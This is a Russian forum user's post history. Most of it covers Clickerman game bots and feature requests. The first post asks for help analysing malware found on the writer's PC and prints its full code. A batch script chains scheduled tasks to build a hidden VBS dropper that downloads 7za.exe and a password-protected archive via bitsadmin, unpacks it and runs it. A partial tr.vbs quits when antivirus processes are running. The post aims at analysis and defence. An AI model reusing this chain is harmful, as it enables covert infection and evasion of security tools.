Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - CMan_ProUser

Pages: [1]
1
Доброго дня, уважаемые участники!

Мастеров скриптов командной строки и VBS прошу помочь с анализом.

Признаки вируса: вчера файрволл обнаружил попытки закачки файла https://archive.org/download/luger/2. Несколько раз появлялось черное окно CMD при простое компа и окно файеволла с блокированием коннекта. Путь на закачку был одним из параметров в командной строке при просмотре SystemExplorer'ом. Жаль не пометил больших подробностей.

Скачал этот файл для исследования,

Code: [Select]
@echo off
schtasks /create /RU "%username%" /sc MONTHLY /tn PortableClassInitialization /rl LIMITED /f /tr "logged"
If Exist "%systemdrive%\SecfLogs\logs11\flog.vbs" (exit /b)
schtasks /create /RU "%username%" /sc onidle /i 1 /tn QRLogsFullCheckPeriodic /rl LIMITED /f /tr "cmd /c if not exist %systemdrive%\SecfLogs\logs11\f.vbs (schtasks/run /i /tn Cmd00) else (exit/b)>nul"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd00 /rl LIMITED /f /tr "cmd /c timeout/t 59 /NOBREAK>nul&&rd/q/s %systemdrive%\SecfLogs&md %systemdrive%\SecfLogs&cd/d %systemdrive%\SecfLogs&md logs01 logs02 logs03 logs04 logs05 logs06 logs07 logs08 logs09 logs10 logs11 logs12 logs13 logs14 logs15 logs16 logs17&schtasks/run /i /tn Cmd01"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd01 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo DIM sysdrive,fso,WshShell,objShell,fil>f.vbs&echo Set fso=CreateObject('Scripting.FileSystemObject')>>f.vbs&echo Set objShell=CreateObject('Wscript.Shell')>>f.vbs&schtasks/run /i /tn Cmd02"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd02 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo Set WshShell=WScript.CreateObject ('WScript.Shell')>>f.vbs&echo Set objFSO=CreateObject('Scripting.FileSystemObject')>>f.vbs&echo sysdrive=WshShell.ExpandEnvironmentStrings('%SYSTEMDRIVE%')>>f.vbs&schtasks/run /i /tn Cmd03"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd03 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c mkdir %systemdrive%\SecfLogs\logs18\3', 0, true>>f.vbs&echo If not (fso.FolderExists(sysdrive + '\SecfLogs\logs18\1')) Then>>f.vbs&schtasks/run /i /tn Cmd04"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd04 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If (fso.FolderExists(sysdrive + '\SecfLogs\logs18\2')) Then objShell.Run 'cmd /c mkdir %systemdrive%\SecfLogs\logs18\1', 0, true:wscript.quit>>f.vbs&schtasks/run /i /tn Cmd05"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd05 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If (fso.FolderExists(sysdrive + '\SecfLogs\logs18\3')) Then objShell.Run 'cmd /c mkdir %systemdrive%\SecfLogs\logs18\2', 0, true:wscript.quit>>f.vbs&echo else>>f.vbs&schtasks/run /i /tn Cmd06"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd06 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c cd/d %systemdrive%\&rd/q/s %systemdrive%\SecfLogs\logs18', 0, true>>f.vbs&schtasks/run /i /tn Cmd07"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd07 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If (fso.FileExists(sysdrive + '\SecfLogs\logs07\7za.exe')) Then>>f.vbs&echo Set fil = fso.GetFile (sysdrive + '\SecfLogs\logs07\7za.exe')>>f.vbs&schtasks/run /i /tn Cmd08"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd08 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If fil.Size ^< 692224 Then call z7()>>f.vbs&echo else call z7()>>f.vbs&echo end if>>f.vbs&echo sub z7()>>f.vbs&schtasks/run /i /tn Cmd09"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd09 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c rd/q/s %systemdrive%\SecfLogs\logs07&md %systemdrive%\SecfLogs\logs07', 0, true>>f.vbs&schtasks/run /i /tn Cmd10"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd10 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&set/p''=objShell.Run 'cmd /c bit'<nul>>f.vbs&set/p'=sadmin /transfer z7 /priority foreground '<nul>>f.vbs&schtasks/run /i /tn Cmd11"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd11 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&set/p'=https://archive.'<nul>>f.vbs&set/p''=org/download/retol/7za.exe %systemdrive%\SecfLogs\logs07\7za.exe', 0, true'<nul>>f.vbs&schtasks/run /i /tn Cmd12"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd12 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo:>>f.vbs&echo Wscript.Sleep 15000>>f.vbs&echo If not (fso.FileExists(sysdrive + '\SecfLogs\logs07\7za.exe')) Then call ned()>>f.vbs&schtasks/run /i /tn Cmd13"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd13 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo Set fil = fso.GetFile (sysdrive + '\SecfLogs\logs07\7za.exe')>>f.vbs&echo If fil.Size ^< 692224 Then call ned()>>f.vbs&schtasks/run /i /tn Cmd14"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd14 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo end sub>>f.vbs&echo objShell.Run 'cmd /c rd/q/s %systemdrive%\Sload&md %systemdrive%\Sload', 0, true>>f.vbs&schtasks/run /i /tn Cmd15"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd15 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&set/p''=objShell.Run 'cmd /c bit'<nul>>f.vbs&set/p'=sadmin /transfer tr /priority foreground '<nul>>f.vbs&schtasks/run /i /tn Cmd16"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd16 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&set/p'=https://archive.'<nul>>f.vbs&set/p''=org/download/retol/tra.zip %systemdrive%\Sload\tra.zip', 0, true'<nul>>f.vbs&schtasks/run /i /tn Cmd17"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd17 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo:>>f.vbs&echo Wscript.Sleep 9000>>f.vbs&echo If not (fso.FileExists(sysdrive + '\Sload\tra.zip')) Then call ned()>>f.vbs&schtasks/run /i /tn Cmd18"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd18 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo Set fil = fso.GetFile (sysdrive + '\Sload\tra.zip')>>f.vbs&echo If fil.Size ^< 1000 Then call ned()>>f.vbs&schtasks/run /i /tn Cmd19"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd19 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c copy /y %systemdrive%\SecfLogs\logs07\7za.exe %systemdrive%\Sload', 0, true>>f.vbs&echo Wscript.Sleep 5000>>f.vbs&schtasks/run /i /tn Cmd20"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd20 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c cd/d %systemdrive%\Sload&%systemdrive%\Sload\7za.exe x %systemdrive%\Sload\tra.zip -y', 0, true>>f.vbs&echo Wscript.Sleep 3000>>f.vbs&schtasks/run /i /tn Cmd21"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd21 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c cd/d %systemdrive%\Sload&%systemdrive%\Sload\7za.exe x %systemdrive%\Sload\trs.zip.001 -y', 0, true>>f.vbs&echo Wscript.Sleep 3000>>f.vbs&schtasks/run /i /tn Cmd22"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd22 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c cd/d %systemdrive%\Sload&%systemdrive%\Sload\7za.exe x %systemdrive%\Sload\tr.zip -pHn3vd -y', 0, true>>f.vbs&echo Wscript.Sleep 15000>>f.vbs&schtasks/run /i /tn Cmd23"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd23 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If not (fso.FileExists(sysdrive + '\Sload\tr.vbs')) Then call ned()>>f.vbs&echo Set fil = fso.GetFile (sysdrive + '\Sload\tr.vbs')>>f.vbs&schtasks/run /i /tn Cmd24"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd24 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If fil.Size ^< 5000 Then call ned()>>f.vbs&echo objShell.Run 'cscript %systemdrive%\Sload\tr.vbs //B', 0, true>>f.vbs&echo Wscript.Sleep 3000>>f.vbs&schtasks/run /i /tn Cmd25"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd25 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo call ned()>>f.vbs&echo sub ned()>>f.vbs&echo objShell.Run 'cmd /c cd/d %systemdrive%\&rd/q/s %systemdrive%\Sload', 0, true>>f.vbs&echo wscript.quit>>f.vbs&echo end sub>>f.vbs&echo end if>>f.vbs"
schtasks /create /RU "%username%" /sc DAILY /tn FirstTimeUntilClear /rl LIMITED /f /tr "wscript %systemdrive%\SecfLogs\logs11\f.vbs //B"
exit /b

обнаружил отсылку на https://archive.org/download/retol/tra.zip, где в защифрованном виде и разбитием на три части содержится tr.zip. Пароль Hn3vd. При распаковке ошибка длины, скорее всего это искуственный косяк.

Извлекается только часть скрипта tr.vbs.
Code: [Select]
DIM objShell,sysdrive,objFSO,fil,WshProcEnv,WshShell,fso
Set objShell = CreateObject("Wscript.Shell"):Set WshShell = WScript.CreateObject ("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject"):Set WshProcEnv = WshShell.Environment("Process")
sysdrive = WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
If (fso.FolderExists(sysdrive + "\Winsevent\product\source\2151")) Then WScript.Quit
If (fso.FolderExists(sysdrive + "\Winsevent\product\source\wns1")) Then WScript.Quit
objShell.Run "cmd /c tasklist /NH /FO CSV > ""%systemdrive%\Sload\trask.txt""", 0, true
Const ForReading = 1:Const ForWriting = 2
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(sysdrive + "\Sload\trask.txt", ForReading):strText = objFile.ReadAll:objFile.Close
strDR12 = Replace(strText, "v", "1", 1, -1, 1):strDR13 = Replace(strDR12, "w", "2", 1, -1, 1)
strDR14 = Replace(strDR13, "p", "3", 1, -1, 1):strDR15 = Replace(strDR14, "e", "4", 1, -1, 1)
strDR16 = Replace(strDR15, "u", "5", 1, -1, 1):strDR17 = Replace(strDR16, "m", "6", 1, -1, 1)
strDR18 = Replace(strDR17, "q", "7", 1, -1, 1):strDR19 = Replace(strDR18, "z", "8", 1, -1, 1)
strDR20 = Replace(strDR19, "s", "9", 1, -1, 1):strDR21 = Replace(strDR20, "i", "10", 1, -1, 1)
strDR22 = Replace(strDR21, "a", "0", 1, -1, 1):strDR23 = Replace(strDR22, """", "*")
Set objFile = objFSO.OpenTextFile(sysdrive + "\Sload\trask.txt", ForWriting):objFile.WriteLine strDR23:objFile.Close
Set objFile = objFSO.OpenTextFile(sysdrive + "\Sload\trask.txt", ForReading):strDRfinal = objFile.ReadAll:objFile.Close
if instr(1, strDR23, "*801cor4.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*n9.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*810lly0.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*d24ng10n4.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*7h20tchdog.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*01gnt.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*8t9cor4.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*o3_6on.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*c109tr0y.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*6c510cstr(1, strDR23, "*8t9cor4.4x4*", 1) then WScript.Quit

ПРОФИТ!

Прочекал локальные диски на наличие всех файлов и каталогов из вирусных файлов - отсутствуют. Все файлы в обоих каталогах archive.org апрель этого года, что говорит о свежем продукте "кахеров". Самое важное, что таких файлов в https://archive.org/download/retol/ около 10 разных модификаций. Microsoft Windows 10 Enterprise LTSB (x64) Build 14393.2848 (1607/RS1) - ставил более полугода назад (сборка от AG). "Интимные" сайты не смотрю, левых файлов из почты не запускаю. ПО на компе обновляю редко.

Прошу помощи в дальнейшем анализе. Может кому полезно будет. Спасибо! С уважением, ...

2
     Представляю на растерзание рабочую версию бота игры Idle Hero Defense.
https://www.kongregate.com/games/tbiz5270/idle-hero-defense?haref=HP_HNG_idle-hero-defense

     Что умеет: заходит в данжи, апает и продвигает новых героев, делает рестарт (престиж) при смерти двух воинов или, если долго не меняется уровень, ручной запуск данжей и престижа кнопками контрол и шифт. С тексте приличествуют комментарии. Был на 4й строчке таблице лидеров, сейчас ниже, видимо кто-то более совершенного бота запустил  ;D.

    Прошу обратить внимание, что использовался FireFoxESR 52.5.3, Adobe Flash 23.0.0.205, кликерман 4.13.007б.
В браузере на странице с игрой сделано 120% увеличение содержимого (CTRL + колесико мыши), нажато Cinematic mode (вверху и слева от экрана с игрой). Перед запуском проверьте переменные $x1, $y1, $x2, $y2 - это координаты краев экрана. Должны "бить".
     Сам код во вложении.

3
Предложения / Re: Ввести ограничение
« on: January 11, 2018, 08:47:20 PM »
    Почтен вниманием).  ;D
    Честно, с переменчивой флеш-графикой защита от дурака просто необходима. Какого было удивление в неправильной работе скрипта (кликал не туда), когда после COLORMODE 6 на сером фоне был маленький зеленый светло-зеленый пикселек, видный только при 400% приближении, причем этот же цвет был на кнопке апгрейда.
    Так то вроде неплохая была бы фича, легко реализуемая. Но "жирафу" виднее.  8)
    Хорошо, что Джонни всё это - читает :), может и не реализует именно это, зато что другое светлое сообразит!

4
Предложения / Ввести ограничение
« on: January 11, 2018, 12:43:47 AM »
Предлагаю, в новой версии ввести ограничение на количество создаваемых скриншотов в папке СКРИНС. Сегодня столкнулся, что 4 часа и 50 гигов заполнены 6,5к скриншотами ). При этом программа висит с сообщением: "Ошибка интерпритации строки screenshot". Винда семерка - без ошибок. Файла подкачки нет. СПС  :P

5
Oraven, Вас понял. Спасибо, с FOR никогда бы так не написал, двойное условие в цикл перебора!!! Спс, что заметил ошибку!!!

6
    7. Внести определение направления сканирования пикселя (картинки). Хотя бы только четыре варианта - точки начала в прямоугольной области, всегда скан сначала по Х (влево или вправо), а потом переход на другой Y.
Память в компьютере одномерна. Двумерные изображения хранятся в памяти в виде одномерных массивов. Обычно они записываются построчно: сначала идёт 0-я строка, затем 1-я и т.д.
Последовательный доступ к памяти осуществляется быстрее, чем произвольный. Это связано с работой кэша процессора, который помещает данные из памяти в кэш большими блоками, например, по 32 байта . В этот блок попадают сразу несколько соседних по горизонтали пикселей. Значит, при обращении к последующим пикселям в той же строке скорость доступа будет выше, чем к последующим пикселям в столбце. Делаем вывод: имеющийся сейчас способ сканирования потенциально самый быстрый  и все предложенные вами варианты будут работать ощутимо медленнее.
777! :o

Вас понял. :)  Эх, хоть и несколько гигагерцев под капотом - перебор будет идти медленно ?!  :( Честно на низком уровне не замерял, возможен ли такой способ и будет ли влиять при обратном обращении к памяти. Вроде бы GETSCREEN, копирует в свой буфер в ОЗУ, а там можно творить, что хошь, хоть по "диагонали катайся". Мы же не из видеопамяти берем. Но может вы и правы, и гигагерцы ничто по сравнению с красотой кода:). А ведь когда то мы на олимпиадах за миллисекунды боролись по алгоритмам сортировки, решения сложных задач, поиска простых чисел...
Однако, как вариант, можно создать предварительно генерируемый перед IF_PIXEL_IN буфер заносить данные в него в соответствии с направлением поиска. Тогда анализ точки (картинки) будет всегда по одному алгоритму, а в буфер данные попадают уже в отраженном или перевернутом виде. В общем, есть пара идей). Тогда время на операцию IF увеличится только на время прямого обращения (что очень быстро) и никакого обратного чтения!!! Ввиду необычности этой задачи (п.7), лучше оставить на потом, или вообще забыть. Спс за ответ.

7
    Добрый день! С НГ и Рождеством всех читающих этот форум!!!
    Пишу на разных ЯП со школы. Кликерман (КМ) около 1,5 года. По показателю "написать бота" ставлю прогу на самый высокий уровень. Огромное спасибо  :-* автору КМ, что поддерживает проект. Отвечает на сообщения, что-то внедряет, другое переносит на будущее. Предлагаю и с нашей стороны поддержать, кто как может ...
    Успешно реализовывал код разной сложности, но по большей части пытался осуществить полную автоматизацию процесса. "Админу" - удовольствие, что всё работает, успех достигнут; $ растут, скилл качается, перс повышается и т.д. С утра снять сливки, поправить скрипт, запустить и уйти на работу и цикл повторяется  8) .
    Самыми большими проектами были: DemonSlaer, IdleHeroDefence, KingOfTowers, LootHeroes, PokieKingdom, swords-and-souls, GalacticClicker. Много мелких, связанных с рутиной автоматизации ручных процессов. Некоторые работают на андроиде, поэтому использовал эмулятор koplayer  :-\ .
    Прошу рассмотреть список моих предложений для включения в stable версию:

    1. Дополнением к уже озвученному в др. теме о задержке после выполнения любых команд управления мышью/клавиатурой: напр. LCLICK(x,y[,задерка]), хочу предложить использование данной возможности по умолчанию. А значение задержки вынести в изменяемую переменную(ые) в скрипте (-1 = задержка отсутствует). Таким образом, будет простая совместимость скриптов с предыдущими версиями. Команды управления не поменяются.

     2. Аналогичным образом внести два параметра в исполнение конструкции
WHILE (...)
...
END_CYC [(макс. кол-во выполнения, даже если не выполнится условие; задержка в конце)]

А для остальных  END_IF, END_SUB  оставить только задержку. Важная фича, избавляет от зацикливания и от нагромождения строк. Вот реальный пример:

Sub(MyTagIn,$tx,$ty) // ввод воина в бой
   $t=0
   while ((PXL($tx,$ty)! $cRed)|($t > 100))
      inc($t)   // счетчик антилаг
      lclick($tx,$ty)
      waitms($w)
      MyGetScr()
      waitms($w)
   END_CYC
   wait(1)
end_sub


А получилось бы так (11 против 6 строк кода):
Sub(MyTagIn,$tx,$ty) // ввод воина в бой
   while (PXL($tx,$ty)! $cRed)
      lclick($tx,$ty,$w)
      MyGetScr()
   END_CYC(100,$w)
end_sub(1000)
  ;)

    3. Читал, что отображение текущей выполняемой команды прямо в редакторе проблематично, предлагаю зайти на проблему с другой стороны, может будет легче: добавить кнопку, которая отображает окно (типа лога), где будут отображаться ТОЛЬКО выполняемые команды, допустим последние десять штук, этого "за глаза" хватит, чтоб определить зависший кусок.

    4. Особенно полезная фича будет отображение на экране (опционально), положения точки (в виде крестика), если курсор находится в внутри конструкции с координатами, а также прямоугольником для соответствующего случая. Завел курсор в LCLICK(1283,866), и сразу видишь где нажимается. Завел внутрь скобок PXLCOUNT(482,357,547,389,$cWhite),  и в соответствующем месте появляется прямоугольник.

    5. Добавить автоматическое применение изменений, поправил скрипт, сразу АЛТ-Ф1, и запускаешь, а так надо предварительно нажимать кнопку.

    6. Редактор. Не нашел, было ли где указано про неправильное "РАЗремирование". Сначала выделяем неск. строк внутри конструкции и комментируем кнопкой, получим:
THREAD(KR, 1)  // ручной запуск
   if(ISKEYDOWN(#CTRL)=1)
      $tkr=$tkr+1
//    if($tkr=4)
//         $c=1800


Затем нажимаем расставить отступы, и символы "//" уходят вправо:
THREAD(KR, 1)  // ручной запуск
      if(ISKEYDOWN(#CTRL)=1)
      $tkr=$tkr+1
      //    if($tkr=4)
      //         $c=1800

    После этого кнопкой комментарий убрать нельзя :). Только вручную. Если много срок закоментировал, нажал выровнять отступы - добавил себе работы.

    7. Внести определение направления сканирования пикселя (картинки). Хотя бы только четыре варианта - точки начала в прямоугольной области, всегда скан сначала по Х (влево или вправо), а потом переход на другой Y.

    8. Самое желанное. Ждем реализации простого GUI. Окно, куда можно кинуть кнопку, чекбокс (или группен чекбакс), и какой-нибудь лабель с полем для ввода (с предустановкой: ввод только чисел, ввод любых значений - хотя обычно только числа нужны). А в скрипте - определить по его имени процедуру запуска при нажатии. Так управлять сложным скриптом в разы проще. А пока управление действиями - через контроль времени нажатия кнопки.

     9. Редактор. При наборе команды и переходе к параметрам было бы неплохо показать варианты значений из справки. Так уже при наборе можно отследить, что набрано правильно, если появился всплывающий хинт под курсором (как в Делфи). Также нет контроля количества скобок. Конструкция while ((PXLCOUNT(482,357,547,389,$cWhite)! 183)|($t>10)) может работать, а иногда нет, если пропустить последнюю скобку. Тут главное, проверять дважды. Ошибки при пропуске не возникает.

     В целом имеющий функционал позволяет решать задачи в практически полном объеме!!! Если получится, то будем крайне рады новым возможностям.
ВСЁ, можете пинать меня!  ;D
С уважением, ...


Pages: [1]